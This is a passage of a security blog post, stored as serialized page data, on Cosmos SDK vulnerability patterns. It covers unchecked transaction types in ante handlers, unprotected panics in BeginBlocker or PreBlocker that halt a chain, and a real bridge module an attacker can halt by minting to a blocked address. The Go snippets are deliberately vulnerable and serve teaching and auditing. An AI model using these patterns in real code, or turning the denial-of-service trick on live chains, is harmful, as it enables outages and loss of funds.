dren":84565},{"style":8199},[84566],{"type":31,"value":84567},"                        \"rejecting tx with unsupported extension option\"",{"type":25,"tag":216,"props":84569,"children":84570},{"style":6958},[84571],{"type":31,"value":7459},{"type":25,"tag":216,"props":84573,"children":84574},{"class":6916,"line":27500},[84575],{"type":25,"tag":216,"props":84576,"children":84577},{"style":6958},[84578],{"type":31,"value":84460},{"type":25,"tag":216,"props":84580,"children":84581},{"class":6916,"line":27509},[84582],{"type":25,"tag":216,"props":84583,"children":84584},{"style":6958},[84585],{"type":31,"value":75035},{"type":25,"tag":216,"props":84587,"children":84588},{"class":6916,"line":27551},[84589],{"type":25,"tag":216,"props":84590,"children":84591},{"emptyLinePlaceholder":16},[84592],{"type":31,"value":7636},{"type":25,"tag":216,"props":84594,"children":84595},{"class":6916,"line":27584},[84596,84600,84604,84608,84612,84616,84620,84624,84628],{"type":25,"tag":216,"props":84597,"children":84598},{"style":6967},[84599],{"type":31,"value":64690},{"type":25,"tag":216,"props":84601,"children":84602},{"style":7041},[84603],{"type":31,"value":84089},{"type":25,"tag":216,"props":84605,"children":84606},{"style":6958},[84607],{"type":31,"value":1844},{"type":25,"tag":216,"props":84609,"children":84610},{"style":6941},[84611],{"type":31,"value":24234},{"type":25,"tag":216,"props":84613,"children":84614},{"style":6958},[84615],{"type":31,"value":7020},{"type":25,"tag":216,"props":84617,"children":84618},{"style":6941},[84619],{"type":31,"value":83147},{"type":25,"tag":216,"props":84621,"children":84622},{"style":6958},[84623],{"type":31,"value":7020},{"type":25,"tag":216,"props":84625,"children":84626},{"style":6941},[84627],{"type":31,"value":84027},{"type":25,"tag":216,"props":84629,"children":84630},{"style":6958},[84631],{"type":31,"value":7101},{"type":25,"tag":216,"props":84633,"children":84634},{"class":6916,"line":27592},[84635],{"type":25,"tag":216,"props":84636,"children":84637},{"style":6958},[84638],{"type":31,"value":62846},{"type":25,"tag":216,"props":84640,"children":84641},{"class":6916,"line":27600},[84642],{"type":25,"tag":216,"props":84643,"children":84644},{"style":6958},[84645],{"type":31,"value":7296},{"type":25,"tag":216,"props":84647,"children":84648},{"class":6916,"line":27609},[84649],{"type":25,"tag":216,"props":84650,"children":84651},{"emptyLinePlaceholder":16},[84652],{"type":31,"value":7636},{"type":25,"tag":216,"props":84654,"children":84655},{"class":6916,"line":27685},[84656],{"type":25,"tag":216,"props":84657,"children":84658},{"style":6921},[84659],{"type":31,"value":84660},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":25,"tag":216,"props":84662,"children":84663},{"class":6916,"line":27718},[84664],{"type":25,"tag":216,"props":84665,"children":84666},{"emptyLinePlaceholder":16},[84667],{"type":31,"value":7636},{"type":25,"tag":216,"props":84669,"children":84670},{"class":6916,"line":27726},[84671,84676,84680,84684,84688],{"type":25,"tag":216,"props":84672,"children":84673},{"style":6967},[84674],{"type":31,"value":84675},"        switch",{"type":25,"tag":216,"props":84677,"children":84678},{"style":6941},[84679],{"type":31,"value":71991},{"type":25,"tag":216,"props":84681,"children":84682},{"style":6958},[84683],{"type":31,"value":82746},{"type":25,"tag":216,"props":84685,"children":84686},{"style":6930},[84687],{"type":31,"value":36713},{"type":25,"tag":216,"props":84689,"children":84690},{"style":6958},[84691],{"type":31,"value":18755},{"type":25,"tag":216,"props":84693,"children":84694},{"class":6916,"line":27734},[84695,84700,84704,84708,84712],{"type":25,"tag":216,"props":84696,"children":84697},{"style":6967},[84698],{"type":31,"value":84699},"        case",{"type":25,"tag":216,"props":84701,"children":84702},{"style":7369},[84703],{"type":31,"value":82607},{"type":25,"tag":216,"props":84705,"children":84706},{"style":6958},[84707],{"type":31,"value":179},{"type":25,"tag":216,"props":84709,"children":84710},{"style":7369},[84711],{"type":31,"value":82640},{"type":25,"tag":216,"props":84713,"children":84714},{"style":6958},[84715],{"type":31,"value":9512},{"type":25,"tag":216,"props":84717,"children":84718},{"class":6916,"line":27771},[84719,84724,84728,84732,84736,84740],{"type":25,"tag":216,"props":84720,"children":84721},{"style":6941},[84722],{"type":31,"value":84723},"            anteHandler",{"type":25,"tag":216,"props":84725,"children":84726},{"style":6947},[84727],{"type":31,"value":6950},{"type":25,"tag":216,"props":84729,"children":84730},{"style":6941},[84731],{"type":31,"value":82607},{"type":25,"tag":216,"props":84733,"children":84734},{"style":6958},[84735],{"type":31,"value":179},{"type":25,"tag":216,"props":84737,"children":84738},{"style":7041},[84739],{"type":31,"value":84398},{"type":25,"tag":216,"props":84741,"children":84742},{"style":6958},[84743],{"type":31,"value":7414},{"type":25,"tag":216,"props":84745,"children":84746},{"class":6916,"line":27784},[84747,84752,84756,84761,84765],{"type":25,"tag":216,"props":84748,"children":84749},{"style":6941},[84750],{"type":31,"value":84751},"                authante",{"type":25,"tag":216,"props":84753,"children":84754},{"style":6958},[84755],{"type":31,"value":179},{"type":25,"tag":216,"props":84757,"children":84758},{"style":7041},[84759],{"type":31,"value":84760},"NewSetUpContextDecorator",{"type":25,"tag":216,"props":84762,"children":84763},{"style":6958},[84764],{"type":31,"value":22328},{"type":25,"tag":216,"props":84766,"children":84767},{"style":6921},[84768],{"type":31,"value":83261},{"type":25,"tag":216,"props":84770,"children":84771},{"class":6916,"line":27797},[84772],{"type":25,"tag":216,"props":84773,"children":84774},{"style":6947},[84775],{"type":31,"value":84776},"                 ...\n",{"type":25,"tag":216,"props":84778,"children":84779},{"class":6916,"line":27810},[84780,84784,84788,84793,84797,84801,84805],{"type":25,"tag":216,"props":84781,"children":84782},{"style":6941},[84783],{"type":31,"value":84751},{"type":25,"tag":216,"props":84785,"children":84786},{"style":6958},[84787],{"type":31,"value":179},{"type":25,"tag":216,"props":84789,"children":84790},{"style":7041},[84791],{"type":31,"value":84792},"NewIncrementSequenceDecorator",{"type":25,"tag":216,"props":84794,"children":84795},{"style":6958},[84796],{"type":31,"value":1844},{"type":25,"tag":216,"props":84798,"children":84799},{"style":6941},[84800],{"type":31,"value":84443},{"type":25,"tag":216,"props":84802,"children":84803},{"style":6958},[84804],{"type":31,"value":5400},{"type":25,"tag":216,"props":84806,"children":84807},{"style":6921},[84808],{"type":31,"value":84809},"// innermost AnteDecorator\n",{"type":25,"tag":216,"props":84811,"children":84812},{"class":6916,"line":27864},[84813],{"type":25,"tag":216,"props":84814,"children":84815},{"style":6958},[84816],{"type":31,"value":81481},{"type":25,"tag":216,"props":84818,"children":84819},{"class":6916,"line":27873},[84820,84825],{"type":25,"tag":216,"props":84821,"children":84822},{"style":6967},[84823],{"type":31,"value":84824},"        default",{"type":25,"tag":216,"props":84826,"children":84827},{"style":6958},[84828],{"type":31,"value":9512},{"type":25,"tag":216,"props":84830,"children":84831},{"class":6916,"line":36237},[84832,84836,84840,84844,84848,84852,84856],{"type":25,"tag":216,"props":84833,"children":84834},{"style":6967},[84835],{"type":31,"value":83042},{"type":25,"tag":216,"props":84837,"children":84838},{"style":6941},[84839],{"type":31,"value":29795},{"type":25,"tag":216,"props":84841,"children":84842},{"style":6958},[84843],{"type":31,"value":7020},{"type":25,"tag":216,"props":84845,"children":84846},{"style":6941},[84847],{"type":31,"value":84500},{"type":25,"tag":216,"props":84849,"children":84850},{"style":6958},[84851],{"type":31,"value":179},{"type":25,"tag":216,"props":84853,"children":84854},{"style":7041},[84855],{"type":31,"value":84509},{"type":25,"tag":216,"props":84857,"children":84858},{"style":6958},[84859],{"type":31,"value":7414},{"type":25,"tag":216,"props":84861,"children":84862},{"class":6916,"line":36258},[84863,84868,84872,84877,84881,84885,84889,84894,84898,84903,84907,84911],{"type":25,"tag":216,"props":84864,"children":84865},{"style":6941},[84866],{"type":31,"value":84867},"                sdkerrors",{"type":25,"tag":216,"props":84869,"children":84870},{"style":6958},[84871],{"type":31,"value":179},{"type":25,"tag":216,"props":84873,"children":84874},{"style":7041},[84875],{"type":31,"value":84876},"Wrapf",{"type":25,"tag":216,"props":84878,"children":84879},{"style":6958},[84880],{"type":31,"value":1844},{"type":25,"tag":216,"props":84882,"children":84883},{"style":6941},[84884],{"type":31,"value":84538},{"type":25,"tag":216,"props":84886,"children":84887},{"style":6958},[84888],{"type":31,"value":179},{"type":25,"tag":216,"props":84890,"children":84891},{"style":6941},[84892],{"type":31,"value":84893},"ErrUnknownRequest",{"type":25,"tag":216,"props":84895,"children":84896},{"style":6958},[84897],{"type":31,"value":7020},{"type":25,"tag":216,"props":84899,"children":84900},{"style":8199},[84901],{"type":31,"value":84902},"\"invalid transaction type: %T\"",{"type":25,"tag":216,"props":84904,"children":84905},{"style":6958},[84906],{"type":31,"value":7020},{"type":25,"tag":216,"props":84908,"children":84909},{"style":6941},[84910],{"type":31,"value":83147},{"type":25,"tag":216,"props":84912,"children":84913},{"style":6958},[84914],{"type":31,"value":10682},{"type":25,"tag":216,"props":84916,"children":84918},{"class":6916,"line":84917},53,[84919,84924],{"type":25,"tag":216,"props":84920,"children":84921},{"style":8199},[84922],{"type":31,"value":84923},"                \"transaction is not an SDK tx\"",{"type":25,"tag":216,"props":84925,"children":84926},{"style":6958},[84927],{"type":31,"value":7459},{"type":25,"tag":216,"props":84929,"children":84931},{"class":6916,"line":84930},54,[84932],{"type":25,"tag":216,"props":84933,"children":84934},{"style":6958},[84935],{"type":31,"value":81481},{"type":25,"tag":216,"props":84937,"children":84939},{"class":6916,"line":84938},55,[84940],{"type":25,"tag":216,"props":84941,"children":84942},{"style":6958},[84943],{"type":31,"value":7296},{"type":25,"tag":216,"props":84945,"children":84947},{"class":6916,"line":84946},56,[84948],{"type":25,"tag":216,"props":84949,"children":84950},{"emptyLinePlaceholder":16},[84951],{"type":31,"value":7636},{"type":25,"tag":216,"props":84953,"children":84955},{"class":6916,"line":84954},57,[84956,84960,84964,84968,84972,84976,84980,84984,84988],{"type":25,"tag":216,"props":84957,"children":84958},{"style":6967},[84959],{"type":31,"value":19696},{"type":25,"tag":216,"props":84961,"children":84962},{"style":7041},[84963],{"type":31,"value":84089},{"type":25,"tag":216,"props":84965,"children":84966},{"style":6958},[84967],{"type":31,"value":1844},{"type":25,"tag":216,"props":84969,"children":84970},{"style":6941},[84971],{"type":31,"value":24234},{"type":25,"tag":216,"props":84973,"children":84974},{"style":6958},[84975],{"type":31,"value":7020},{"type":25,"tag":216,"props":84977,"children":84978},{"style":6941},[84979],{"type":31,"value":83147},{"type":25,"tag":216,"props":84981,"children":84982},{"style":6958},[84983],{"type":31,"value":7020},{"type":25,"tag":216,"props":84985,"children":84986},{"style":6941},[84987],{"type":31,"value":84027},{"type":25,"tag":216,"props":84989,"children":84990},{"style":6958},[84991],{"type":31,"value":7101},{"type":25,"tag":216,"props":84993,"children":84995},{"class":6916,"line":84994},58,[84996],{"type":25,"tag":216,"props":84997,"children":84998},{"style":6958},[84999],{"type":31,"value":7305},{"type":25,"tag":216,"props":85001,"children":85003},{"class":6916,"line":85002},59,[85004],{"type":25,"tag":216,"props":85005,"children":85006},{"style":6958},[85007],{"type":31,"value":7868},{"type":25,"tag":38,"props":85009,"children":85010},{},[85011,85013,85018,85020,85027,85028,85035],{"type":31,"value":85012},"Additional examples of incorrect ",{"type":25,"tag":82,"props":85014,"children":85016},{"className":85015},[],[85017],{"type":31,"value":82436},{"type":31,"value":85019}," usage include ",{"type":25,"tag":162,"props":85021,"children":85024},{"href":85022,"rel":85023},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[166],[85025],{"type":31,"value":85026},"yet more bypassable checks and loss of funds",{"type":31,"value":1301},{"type":25,"tag":162,"props":85029,"children":85032},{"href":85030,"rel":85031},"https://github.com/cosmos/ibc-go/issues/853",[166],[85033],{"type":31,"value":85034},"incorrect data passing between blockchains",{"type":31,"value":179},{"type":25,"tag":26,"props":85037,"children":85039},{"id":85038},"errors-panics-i-can-handle-it",[85040],{"type":31,"value":85041},"Errors? Panics? I can handle it",{"type":25,"tag":38,"props":85043,"children":85044},{},[85045],{"type":31,"value":85046},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":25,"tag":38,"props":85048,"children":85049},{},[85050],{"type":31,"value":85051},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":25,"tag":38,"props":85053,"children":85054},{},[85055,85057,85063,85065,85070],{"type":31,"value":85056},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":25,"tag":82,"props":85058,"children":85060},{"className":85059},[],[85061],{"type":31,"value":85062},"k.keeper.TotalReward()",{"type":31,"value":85064}," returns zero, the ",{"type":25,"tag":82,"props":85066,"children":85068},{"className":85067},[],[85069],{"type":31,"value":61908},{"type":31,"value":85071}," execution will simply rollback as if nothing has happened.",{"type":25,"tag":206,"props":85073,"children":85075},{"code":85074,"language":80130,"meta":7,"className":80131,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[85076],{"type":25,"tag":82,"props":85077,"children":85078},{"__ignoreMap":7},[85079,85112,85135,85163,85199,85206,85275,85313,85320,85352],{"type":25,"tag":216,"props":85080,"children":85081},{"class":6916,"line":6917},[85082,85086,85090,85095,85099,85103,85108],{"type":25,"tag":216,"props":85083,"children":85084},{"style":6930},[85085],{"type":31,"value":80266},{"type":25,"tag":216,"props":85087,"children":85088},{"style":6958},[85089],{"type":31,"value":7010},{"type":25,"tag":216,"props":85091,"children":85092},{"style":6941},[85093],{"type":31,"value":85094},"k ",{"type":25,"tag":216,"props":85096,"children":85097},{"style":7369},[85098],{"type":31,"value":80280},{"type":25,"tag":216,"props":85100,"children":85101},{"style":6958},[85102],{"type":31,"value":7030},{"type":25,"tag":216,"props":85104,"children":85105},{"style":7041},[85106],{"type":31,"value":85107},"AllocateReward",{"type":25,"tag":216,"props":85109,"children":85110},{"style":6958},[85111],{"type":31,"value":7414},{"type":25,"tag":216,"props":85113,"children":85114},{"class":6916,"line":6763},[85115,85119,85123,85127,85131],{"type":25,"tag":216,"props":85116,"children":85117},{"style":6941},[85118],{"type":31,"value":80301},{"type":25,"tag":216,"props":85120,"children":85121},{"style":7369},[85122],{"type":31,"value":80306},{"type":25,"tag":216,"props":85124,"children":85125},{"style":6958},[85126],{"type":31,"value":179},{"type":25,"tag":216,"props":85128,"children":85129},{"style":7369},[85130],{"type":31,"value":80315},{"type":25,"tag":216,"props":85132,"children":85133},{"style":6958},[85134],{"type":31,"value":7459},{"type":25,"tag":216,"props":85136,"children":85137},{"class":6916,"line":6772},[85138,85142,85146,85150,85154,85159],{"type":25,"tag":216,"props":85139,"children":85140},{"style":6941},[85141],{"type":31,"value":80327},{"type":25,"tag":216,"props":85143,"children":85144},{"style":6947},[85145],{"type":31,"value":13767},{"type":25,"tag":216,"props":85147,"children":85148},{"style":7369},[85149],{"type":31,"value":9703},{"type":25,"tag":216,"props":85151,"children":85152},{"style":6958},[85153],{"type":31,"value":179},{"type":25,"tag":216,"props":85155,"children":85156},{"style":7369},[85157],{"type":31,"value":85158},"MsgAllocateReward",{"type":25,"tag":216,"props":85160,"children":85161},{"style":6958},[85162],{"type":31,"value":7101},{"type":25,"tag":216,"props":85164,"children":85165},{"class":6916,"line":6999},[85166,85170,85174,85178,85182,85187,85191,85195],{"type":25,"tag":216,"props":85167,"children":85168},{"style":6958},[85169],{"type":31,"value":1844},{"type":25,"tag":216,"props":85171,"children":85172},{"style":6947},[85173],{"type":31,"value":8513},{"type":25,"tag":216,"props":85175,"children":85176},{"style":7369},[85177],{"type":31,"value":9703},{"type":25,"tag":216,"props":85179,"children":85180},{"style":6958},[85181],{"type":31,"value":179},{"type":25,"tag":216,"props":85183,"children":85184},{"style":7369},[85185],{"type":31,"value":85186},"MsgAllocatRewardResponse",{"type":25,"tag":216,"props":85188,"children":85189},{"style":6958},[85190],{"type":31,"value":7020},{"type":25,"tag":216,"props":85192,"children":85193},{"style":7369},[85194],{"type":31,"value":18815},{"type":25,"tag":216,"props":85196,"children":85197},{"style":6958},[85198],{"type":31,"value":18755},{"type":25,"tag":216,"props":85200,"children":85201},{"class":6916,"line":7104},[85202],{"type":25,"tag":216,"props":85203,"children":85204},{"emptyLinePlaceholder":16},[85205],{"type":31,"value":7636},{"type":25,"tag":216,"props":85207,"children":85208},{"class":6916,"line":7210},[85209,85214,85218,85223,85227,85232,85236,85241,85245,85249,85254,85258,85262,85266,85271],{"type":25,"tag":216,"props":85210,"children":85211},{"style":6941},[85212],{"type":31,"value":85213},"    RewardPerShare",{"type":25,"tag":216,"props":85215,"children":85216},{"style":6947},[85217],{"type":31,"value":80382},{"type":25,"tag":216,"props":85219,"children":85220},{"style":6941},[85221],{"type":31,"value":85222}," k",{"type":25,"tag":216,"props":85224,"children":85225},{"style":6958},[85226],{"type":31,"value":179},{"type":25,"tag":216,"props":85228,"children":85229},{"style":6941},[85230],{"type":31,"value":85231},"keeper",{"type":25,"tag":216,"props":85233,"children":85234},{"style":6958},[85235],{"type":31,"value":179},{"type":25,"tag":216,"props":85237,"children":85238},{"style":7041},[85239],{"type":31,"value":85240},"Shares",{"type":25,"tag":216,"props":85242,"children":85243},{"style":6958},[85244],{"type":31,"value":17994},{"type":25,"tag":216,"props":85246,"children":85247},{"style":6947},[85248],{"type":31,"value":5749},{"type":25,"tag":216,"props":85250,"children":85251},{"style":6941},[85252],{"type":31,"value":85253},"  k",{"type":25,"tag":216,"props":85255,"children":85256},{"style":6958},[85257],{"type":31,"value":179},{"type":25,"tag":216,"props":85259,"children":85260},{"style":6941},[85261],{"type":31,"value":85231},{"type":25,"tag":216,"props":85263,"children":85264},{"style":6958},[85265],{"type":31,"value":179},{"type":25,"tag":216,"props":85267,"children":85268},{"style":7041},[85269],{"type":31,"value":85270},"TotalReward",{"type":25,"tag":216,"props":85272,"children":85273},{"style":6958},[85274],{"type":31,"value":11681},{"type":25,"tag":216,"props":85276,"children":85277},{"class":6916,"line":7238},[85278,85283,85287,85291,85295,85300,85304,85309],{"type":25,"tag":216,"props":85279,"children":85280},{"style":6941},[85281],{"type":31,"value":85282},"    k",{"type":25,"tag":216,"props":85284,"children":85285},{"style":6958},[85286],{"type":31,"value":179},{"type":25,"tag":216,"props":85288,"children":85289},{"style":6941},[85290],{"type":31,"value":85231},{"type":25,"tag":216,"props":85292,"children":85293},{"style":6958},[85294],{"type":31,"value":179},{"type":25,"tag":216,"props":85296,"children":85297},{"style":7041},[85298],{"type":31,"value":85299},"DistributeReward",{"type":25,"tag":216,"props":85301,"children":85302},{"style":6958},[85303],{"type":31,"value":1844},{"type":25,"tag":216,"props":85305,"children":85306},{"style":6941},[85307],{"type":31,"value":85308},"RewardPerShare",{"type":25,"tag":216,"props":85310,"children":85311},{"style":6958},[85312],{"type":31,"value":7101},{"type":25,"tag":216,"props":85314,"children":85315},{"class":6916,"line":7251},[85316],{"type":25,"tag":216,"props":85317,"children":85318},{"emptyLinePlaceholder":16},[85319],{"type":31,"value":7636},{"type":25,"tag":216,"props":85321,"children":85322},{"class":6916,"line":7269},[85323,85327,85331,85335,85339,85344,85348],{"type":25,"tag":216,"props":85324,"children":85325},{"style":6967},[85326],{"type":31,"value":20941},{"type":25,"tag":216,"props":85328,"children":85329},{"style":6947},[85330],{"type":31,"value":11087},{"type":25,"tag":216,"props":85332,"children":85333},{"style":6941},[85334],{"type":31,"value":9703},{"type":25,"tag":216,"props":85336,"children":85337},{"style":6958},[85338],{"type":31,"value":179},{"type":25,"tag":216,"props":85340,"children":85341},{"style":6941},[85342],{"type":31,"value":85343},"MsgAllocateRewardResponse",{"type":25,"tag":216,"props":85345,"children":85346},{"style":6958},[85347],{"type":31,"value":7020},{"type":25,"tag":216,"props":85349,"children":85350},{"style":6930},[85351],{"type":31,"value":80608},{"type":25,"tag":216,"props":85353,"children":85354},{"class":6916,"line":7290},[85355],{"type":25,"tag":216,"props":85356,"children":85357},{"style":6958},[85358],{"type":31,"value":7868},{"type":25,"tag":38,"props":85360,"children":85361},{},[85362,85364,85370,85371,85377,85378,85384,85386,85391],{"type":31,"value":85363},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":25,"tag":82,"props":85365,"children":85367},{"className":85366},[],[85368],{"type":31,"value":85369},"PreBlocker",{"type":31,"value":7020},{"type":25,"tag":82,"props":85372,"children":85374},{"className":85373},[],[85375],{"type":31,"value":85376},"BeginBlocker",{"type":31,"value":10433},{"type":25,"tag":82,"props":85379,"children":85381},{"className":85380},[],[85382],{"type":31,"value":85383},"EndBlocker",{"type":31,"value":85385},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":25,"tag":82,"props":85387,"children":85389},{"className":85388},[],[85390],{"type":31,"value":85376},{"type":31,"value":85392}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":25,"tag":206,"props":85394,"children":85396},{"code":85395,"language":80130,"meta":7,"className":80131,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[85397],{"type":25,"tag":82,"props":85398,"children":85399},{"__ignoreMap":7},[85400,85465,85472,85520,85548,85555,85567],{"type":25,"tag":216,"props":85401,"children":85402},{"class":6916,"line":6917},[85403,85407,85412,85416,85420,85424,85428,85432,85436,85440,85445,85449,85453,85457,85461],{"type":25,"tag":216,"props":85404,"children":85405},{"style":6930},[85406],{"type":31,"value":80266},{"type":25,"tag":216,"props":85408,"children":85409},{"style":7041},[85410],{"type":31,"value":85411}," BeginBlocker",{"type":25,"tag":216,"props":85413,"children":85414},{"style":6958},[85415],{"type":31,"value":1844},{"type":25,"tag":216,"props":85417,"children":85418},{"style":6941},[85419],{"type":31,"value":24234},{"type":25,"tag":216,"props":85421,"children":85422},{"style":7369},[85423],{"type":31,"value":80306},{"type":25,"tag":216,"props":85425,"children":85426},{"style":6958},[85427],{"type":31,"value":179},{"type":25,"tag":216,"props":85429,"children":85430},{"style":7369},[85431],{"type":31,"value":80315},{"type":25,"tag":216,"props":85433,"children":85434},{"style":6958},[85435],{"type":31,"value":7020},{"type":25,"tag":216,"props":85437,"children":85438},{"style":6941},[85439],{"type":31,"value":85231},{"type":25,"tag":216,"props":85441,"children":85442},{"style":7369},[85443],{"type":31,"value":85444}," keeper",{"type":25,"tag":216,"props":85446,"children":85447},{"style":6958},[85448],{"type":31,"value":179},{"type":25,"tag":216,"props":85450,"children":85451},{"style":7369},[85452],{"type":31,"value":83911},{"type":25,"tag":216,"props":85454,"children":85455},{"style":6958},[85456],{"type":31,"value":7030},{"type":25,"tag":216,"props":85458,"children":85459},{"style":7369},[85460],{"type":31,"value":18815},{"type":25,"tag":216,"props":85462,"children":85463},{"style":6958},[85464],{"type":31,"value":7235},{"type":25,"tag":216,"props":85466,"children":85467},{"class":6916,"line":6763},[85468],{"type":25,"tag":216,"props":85469,"children":85470},{"emptyLinePlaceholder":16},[85471],{"type":31,"value":7636},{"type":25,"tag":216,"props":85473,"children":85474},{"class":6916,"line":6772},[85475,85479,85483,85487,85491,85495,85499,85503,85508,85512,85516],{"type":25,"tag":216,"props":85476,"children":85477},{"style":6941},[85478],{"type":31,"value":85213},{"type":25,"tag":216,"props":85480,"children":85481},{"style":6947},[85482],{"type":31,"value":80382},{"type":25,"tag":216,"props":85484,"children":85485},{"style":6941},[85486],{"type":31,"value":85444},{"type":25,"tag":216,"props":85488,"children":85489},{"style":6958},[85490],{"type":31,"value":179},{"type":25,"tag":216,"props":85492,"children":85493},{"style":7041},[85494],{"type":31,"value":85240},{"type":25,"tag":216,"props":85496,"children":85497},{"style":6958},[85498],{"type":31,"value":17994},{"type":25,"tag":216,"props":85500,"children":85501},{"style":6947},[85502],{"type":31,"value":5749},{"type":25,"tag":216,"props":85504,"children":85505},{"style":6941},[85506],{"type":31,"value":85507},"  keeper",{"type":25,"tag":216,"props":85509,"children":85510},{"style":6958},[85511],{"type":31,"value":179},{"type":25,"tag":216,"props":85513,"children":85514},{"style":7041},[85515],{"type":31,"value":85270},{"type":25,"tag":216,"props":85517,"children":85518},{"style":6958},[85519],{"type":31,"value":11681},{"type":25,"tag":216,"props":85521,"children":85522},{"class":6916,"line":6999},[85523,85528,85532,85536,85540,85544],{"type":25,"tag":216,"props":85524,"children":85525},{"style":6941},[85526],{"type":31,"value":85527},"    keeper",{"type":25,"tag":216,"props":85529,"children":85530},{"style":6958},[85531],{"type":31,"value":179},{"type":25,"tag":216,"props":85533,"children":85534},{"style":7041},[85535],{"type":31,"value":85299},{"type":25,"tag":216,"props":85537,"children":85538},{"style":6958},[85539],{"type":31,"value":1844},{"type":25,"tag":216,"props":85541,"children":85542},{"style":6941},[85543],{"type":31,"value":85308},{"type":25,"tag":216,"props":85545,"children":85546},{"style":6958},[85547],{"type":31,"value":7101},{"type":25,"tag":216,"props":85549,"children":85550},{"class":6916,"line":7104},[85551],{"type":25,"tag":216,"props":85552,"children":85553},{"emptyLinePlaceholder":16},[85554],{"type":31,"value":7636},{"type":25,"tag":216,"props":85556,"children":85557},{"class":6916,"line":7210},[85558,85562],{"type":25,"tag":216,"props":85559,"children":85560},{"style":6967},[85561],{"type":31,"value":56828},{"type":25,"tag":216,"props":85563,"children":85564},{"style":6930},[85565],{"type":31,"value":85566}," nil\n",{"type":25,"tag":216,"props":85568,"children":85569},{"class":6916,"line":7238},[85570],{"type":25,"tag":216,"props":85571,"children":85572},{"style":6958},[85573],{"type":31,"value":7868},{"type":25,"tag":607,"props":85575,"children":85577},{"id":85576},"real-world-examples-3",[85578],{"type":31,"value":80655},{"type":25,"tag":38,"props":85580,"children":85581},{},[85582],{"type":31,"value":85583},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":25,"tag":38,"props":85585,"children":85586},{},[85587,85589,85595,85597,85602,85604,85610,85612,85618,85620,85626],{"type":31,"value":85588},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":25,"tag":82,"props":85590,"children":85592},{"className":85591},[],[85593],{"type":31,"value":85594},"bankKeeper.SendCoinsFromModuleToAccount",{"type":31,"value":85596}," will be bubbled up through ",{"type":25,"tag":82,"props":85598,"children":85600},{"className":85599},[],[85601],{"type":31,"value":85369},{"type":31,"value":85603}," and halt the chain. It turns out an attacker can force ",{"type":25,"tag":82,"props":85605,"children":85607},{"className":85606},[],[85608],{"type":31,"value":85609},"SendCoinsFromModuleToAccount",{"type":31,"value":85611}," to return an error by setting ",{"type":25,"tag":82,"props":85613,"children":85615},{"className":85614},[],[85616],{"type":31,"value":85617},"recipient",{"type":31,"value":85619}," to some ",{"type":25,"tag":82,"props":85621,"children":85623},{"className":85622},[],[85624],{"type":31,"value":85625},"BlockedAddr",{"type":31,"value":85627},",rendering the code susceptible to DoS attacks.",{"type":25,"tag":38,"props":85629,"children":85630},{},[85631],{"type":25,"tag":162,"props":85632,"children":85635},{"href":85633,"rel":85634},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[166],[85636],{"type":31,"value":80705},{"type":25,"tag":206,"props":85638,"children":85640},{"code":85639,"language":80130,"meta":7,"className":80131,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    